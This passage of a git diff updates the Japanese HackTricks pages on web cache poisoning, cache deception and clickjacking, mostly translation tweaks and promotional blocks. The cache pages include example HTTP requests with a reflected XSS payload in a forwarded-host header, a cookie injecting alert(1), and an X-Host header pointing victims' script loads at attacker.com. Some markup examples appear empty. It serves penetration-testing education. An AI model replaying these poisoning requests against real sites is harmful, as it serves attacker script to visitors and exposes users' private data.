+127,12 @@ Google の開発者ポリシーは、拡張機能が機能に必要以上の権 ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。** +* **HackTricks** および **HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md index c3b60d7ae..bb8792ef2 100644 --- a/pentesting-web/cache-deception/README.md +++ b/pentesting-web/cache-deception/README.md @@ -1,86 +1,86 @@ -# キャッシュ毒入りとキャッシュ欺瞞 +# キャッシュ毒入れとキャッシュ欺瞞
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする +* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** します。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 違い -> **Webキャッシュ毒入りとWebキャッシュ欺瞞の違いは何ですか?** +> **Webキャッシュ毒入れとWebキャッシュ欺瞞の違いは何ですか?** > -> - **Webキャッシュ毒入り**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。 -> - **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後、このコンテンツをキャッシュから取得します。 +> * **Webキャッシュ毒入れ**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。 +> * **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後攻撃者はこのコンテンツをキャッシュから取得します。 -## キャッシュ毒入り +## キャッシュ毒入れ -キャッシュ毒入りは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ汚染された応答が提供されるため、影響を受けるページの人気度に依存します。 +キャッシュ毒入れは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ提供される汚染された応答に依存します。 -キャッシュ毒入り攻撃の実行には、いくつかのステップが含まれます: +キャッシュ毒入れ攻撃の実行には、いくつかのステップが含まれます: -1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返される応答を変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらを悪用してキャッシュを操作することができるからです。 -2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用して攻撃者に利益をもたらすようにサーバーの応答を変更するかを理解することです。 -3. **毒入り応答がキャッシュされることを確認**:最後のステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするすべてのユーザーが汚染された応答を受け取ります。 +1. **キーのない入力の特定**: これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返される応答を変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらはキャッシュを操作するために悪用される可能性があるからです。 +2. **キーのない入力の悪用**: キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用して攻撃者に利益をもたらすようにサーバーの応答を変更するかを理解することです。 +3. **毒入れされた応答がキャッシュされることを確認する**: 最後のステップは、操作された応答がキャッシュに保存されるようにすることです。これにより、キャッシュが毒入れされている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。 -### 発見:HTTPヘッダーをチェック +### 発見: HTTPヘッダーをチェック -通常、応答が**キャッシュに保存されている**場合、それを示す**ヘッダーがあります**。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 +通常、応答が **キャッシュに保存されている** 場合、それを示す **ヘッダーがあります**。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください: [**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 -### 発見:キャッシュエラーコードをチェック +### 発見: キャッシュエラーコードをチェック -応答がキャッシュに保存されていると思われる場合、**悪いヘッダーを送信**して、**ステータスコード400**で応答されるはずです。その後、通常通りリクエストにアクセスし、**応答が400ステータスコード**である場合、脆弱性があることがわかります(DoS攻撃さえ実行できます)。 +応答がキャッシュに保存されていると思われる場合、 **不正なヘッダーを送信** してみることができます。これには **ステータスコード400** が返されるはずです。その後、リクエストに通常アクセスし、 **応答が400ステータスコード** である場合、脆弱性があることがわかります(DoS攻撃さえ実行できます)。 -詳細なオプションは次で見つけることができます: +詳細なオプションは次で見つけることができます: {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -ただし、**この種のステータスコードがキャッシュされていない場合がある**ため、このテストは信頼性がないかもしれません。 +ただし、 **この種のステータスコードがキャッシュされない場合もある** ため、このテストは信頼できないかもしれません。 -### 発見:キーのない入力を特定および評価 +### 発見: キーのない入力を特定および評価 -[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、ページの応答を変更する可能性のある**パラメータやヘッダーをブルートフォース**することができます。たとえば、ページがクライアントにスクリプトをそこから読み込むように指示するヘッダー`X-Forwarded-For`を使用しているかもしれません。 +[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) を使用して、ページの応答を変更する可能性のある **パラメータやヘッダーをブルートフォース** することができます。たとえば、ページがクライアントにそこからスクリプトを読み込むように指示するヘッダー `X-Forwarded-For` を使用しているかもしれません: ```markup ``` -### 有害な応答をバックエンドサーバーから引き出す +### 悪意のある応答をバックエンドサーバーから引き出す -特定されたパラメータ/ヘッダーを確認し、それがどのように**無害化**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用できますか(XSSを実行したり、あなたが制御するJSコードを読み込んだりしますか?DoSを実行しますか?...) +特定されたパラメータ/ヘッダーを確認し、それがどのように**サニタイズ**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用できますか(XSSを実行したり、自分が制御するJSコードをロードしたりしますか?DoSを実行しますか?...) -### 応答をキャッシュする +### キャッシュされた応答を取得する -悪用できる**ページ**を特定し、どの**パラメータ**/**ヘッダー**を使用し、どのように**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、時間がかかる場合があります。数秒間試行する必要があるかもしれません。\ +悪用できる**ページ**を特定し、どの**パラメータ**/**ヘッダー**を使用し、どのように**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュされるリソースによっては、これには時間がかかる場合があり、数秒間試行する必要があるかもしれません。\ 応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値が**`miss`**になり、キャッシュされている場合は値が**`hit`**になります。\ ヘッダー**`Cache-Control`**も興味深い情報です。リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます:`Cache-Control: public, max-age=1800`\ -もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、攻撃対象の被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのキャッシュを毒化することができます。\ +もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、ユーザーが狙っている被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用しているユーザーのキャッシュを毒することができます。\ キャッシュに関連するもう1つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。 -リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して機能しているか確認してください。 +リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期しない方法**で**キーとして使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して機能しているかどうかを確認してください。 ## 悪用の例 ### 最も簡単な例 -`X-Forwarded-For`のようなヘッダーが無害化されずに応答に反映されています。\ -基本的なXSSペイロードを送信し、キャッシュを毒化してページにアクセスするすべてのユーザーがXSSを受けるようにします: +`X-Forwarded-For`のようなヘッダーが応答でサニタイズされずに反映されています。\ +基本的なXSSペイロードを送信し、キャッシュを毒してページにアクセスするすべてのユーザーがXSSを受けるようにできます: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -88,27 +88,29 @@ X-Forwarded-Host: a.">" ``` _Note that this will poison a request to `/en?region=uk` not to `/en`_ -### キャッシュ毒化によるDoS +### キャッシュ毒入れによるDoS {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -### クッキー処理の脆弱性を悪用するためのWebキャッシュ毒化の使用 +### クッキー処理の脆弱性を悪用するためのウェブキャッシュ毒入れの使用 -クッキーはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすために悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができるかもしれません。 +クッキーはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすためにそれを悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができるかもしれません。 ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -### パストラバーサルを使用してAPIキーを盗むためのキャッシュ毒性 +注意:脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストによってキャッシュがクリアされる可能性があります。 -[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)では、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能であったことが説明されています。`/share/*` に一致するものはCloudflareがURLを正規化せずにキャッシュするため、Webサーバーにリクエストが到達したときに行われたことです。 +### パストラバーサルを使用したキャッシュ毒性によるAPIキーの盗難 -### 複数のヘッダーを使用してWebキャッシュ毒性の脆弱性を悪用する +[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) は、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。 `/share/*` に一致するものは、CloudflareがURLを正規化せずにキャッシュするため、Webサーバーにリクエストが到達したときに行われました。 -**時には、複数のキーのない入力を悪用する必要があります**。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができるかもしれません。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー `X-Forwarded-Scheme` を使用している場合、リダイレクト先を制御できます。 +### 複数のヘッダーを使用してWebキャッシュ毒性の脆弱性を悪用する + +**時には、複数の未キー入力を悪用する必要があります**。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができるかもしれません。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー `X-Forwarded-Scheme` を使用している場合。リダイレクト先のページをリダイレクトできます。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -117,7 +119,7 @@ X-Forwarded-Scheme: http ``` ### 限られた `Vary` ヘッダーを利用した攻撃 -もし、**`X-Host`** ヘッダーが**ドメイン名をJSリソースをロードするために使用**されていることがわかったが、レスポンスの中の**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者のUser-Agentを外部に送信し、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります: +もし、**`X-Host`** ヘッダーが**ドメイン名を読み込むために使用されている**ことがわかり、しかしレスポンスの中の **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を外部に送信し、そのユーザーエージェントを使用してキャッシュを改ざんする方法を見つける必要があります。 ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -126,7 +128,7 @@ X-Host: attacker.com ``` ### Fat Get -URLとボディの両方にリクエストを含めてGETリクエストを送信します。ウェブサーバーがボディからのものを使用している場合でも、キャッシュサーバーがURLからのものをキャッシュしていると、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。GitHubのウェブサイトでJames Kettleが見つけた脆弱性のように。 +GETリクエストを送信し、リクエストをURLと本文の両方に含めます。ウェブサーバーが本文からのものを使用している場合でも、キャッシュサーバーがURLからのものをキャッシュしていると、そのURLにアクセスする誰もが実際には本文からのパラメータを使用します。GitHubのウェブサイトでJames Kettleが見つけた脆弱性のように。 ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -153,7 +155,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -167,35 +169,35 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、およびクエリのみを使用して生成しました(フラグメントを無視)。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、およびクエリのみが含まれていました。 +ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました(フラグメントを無視)。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれていました。 ### GitHub CP-DoS -コンテンツタイプヘッダーに誤った値を送信すると、405のキャッシュされた応答がトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。 +content-typeヘッダーに誤った値を送信すると、405のキャッシュされた応答がトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。 ### GitLab + GCP CP-DoS -GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。**GCPバケット**は **`x-http-method-override`** ヘッダーをサポートしていました。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空の応答本体を返すことが可能でした。また、メソッド `PURGE` もサポートしていました。 +GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。**GCPバケット**は **`x-http-method-override`** ヘッダーをサポートしていました。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを空の応答本体に返すように毒化することができました。また、メソッド `PURGE` もサポートしていました。 ### Rack Middleware (Ruby on Rails) -Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使用されます。Rackコードの目的は、**`x-forwarded-scheme`** ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否(DoS)が発生する可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトすることがあります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。 +Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使用されます。Rackコードの目的は、**`x-forwarded-scheme`** ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否(DoS)を引き起こす可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトするかもしれません。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。 ### 403とストレージバケット -以前、Cloudflareは403応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、403応答がキャッシュされました。Cloudflareは403応答のキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。 +Cloudflareは以前、403の応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、キャッシュされた403の応答が返されました。Cloudflareは403の応答をキャッシュしなくなりましたが、この動作は他のプロキシサービスでも引き続き存在する可能性があります。 ### キー付きパラメータの注入 -キャッシュには、キャッシュキーに特定のGETパラメータが含まれることがよくあります。たとえば、FastlyのVarnishはリクエストの `size` パラメータをキャッシュしました。ただし、URLエンコードされたパラメータのバージョン(たとえば、`siz%65`)が誤った値とともに送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の `size` パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドには利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。 +キャッシュには、キャッシュキーに特定のGETパラメータが含まれることがよくあります。たとえば、FastlyのVarnishはリクエストの `size` パラメータをキャッシュしました。しかし、URLエンコードされたパラメータのバージョン(たとえば、`siz%65`)が誤った値とともに送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の `size` パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドには利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。 ### ユーザーエージェントルール -一部の開発者は、サーバー負荷を管理するために、高トラフィックツール(FFUFやNucleiなど)と一致するユーザーエージェントを持つリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。 +一部の開発者は、サーバー負荷を管理するために、FFUFやNucleiなどの高トラフィックツールと一致するユーザーエージェントを持つリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。 ### 不正なヘッダーフィールド -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダー名に許容される文字を指定しています。指定された **tchar** 範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control` ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\` のような無効な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。 +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダー名に許容される文字を指定しています。指定された **tchar** 範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiのようなサーバーは、`cache-control` ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\` のような無効な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。 ### 新しいヘッダーの検出 @@ -203,9 +205,9 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使 ## キャッシュ欺瞞 -キャッシュ欺瞞の目的は、クライアントが**キャッシュに保存されるリソースをロードし、それらの機密情報を持つ**リソースをロードすることです。 +キャッシュ欺瞞の目標は、クライアントが**キャッシュに保存されるリソースを、それらの機密情報を持つまま**読み込むことです。 -まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、応答がキャッシュされる可能性があります。なぜなら、`.js` **拡張子**が見えるからです。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存されている**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。 +まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、`.js` **拡張子**が見えるため、キャッシュはおそらく応答を保存します。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存されている**機密**ユーザー内容を再生している場合、他のユーザーからその内容を**盗む**ことができます。 他にテストすること: @@ -216,11 +218,13 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使 * _www.example.com/profile.php/%2e%2e/test.js_ * _`.avif`**などのあまり知られていない拡張子を使用します。 -別の非常に明確な例は、この解説で見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ -この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページをロードすると、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存します。\ +非常に明確な例は、この解説で見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ +この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページを読み込むと、_http://www.example.com/home.php_ の内容(**ユーザーの機密情報を含む**)が返され、キャッシュサーバーが結果を保存します。\ その後、**攻撃者**は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察することができます。 -**キャッシュプロキシ**は、ファイルを**拡張子**(_.css_)に基づいてキャッシュするように**構成**されている必要があることに注意してください。例では、_http://www.example.com/home.php/non-existent.css_ は `text/css` MIMEタイプ(_.css_ファイルに期待されるもの)ではなく、`text/html` コンテンツタイプを持っています。 +**キャッシュプロキシ**は、ファイルを**拡張子**(_.css_)に基づいてキャッシュするように**構成**されている必要があり、コンテンツタイプに基づいてではないことに注意してください。例えば、_http://www.example.com/home.php/non-existent.css_ は `text/css` MIMEタイプ(_.css_ファイルの期待されるタイプ)ではなく、`text/html` コンテンツタイプを持っています。 + +[HTTPリクエストスマグリングを悪用してキャッシュ欺瞞攻撃を実行する方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)についてこちらで学びます。 ## 自動ツール * [**toxicache**](https://github.com/xhzeem/toxicache): Golangスキャナーは、URLのリスト内でWebキャッシュ毒性の脆弱性を見つけ、複数のインジェクション技術をテストします。 @@ -234,7 +238,7 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使 * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -248,10 +252,10 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使 HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index a488d8149..4de365ab2 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -7,34 +7,32 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- 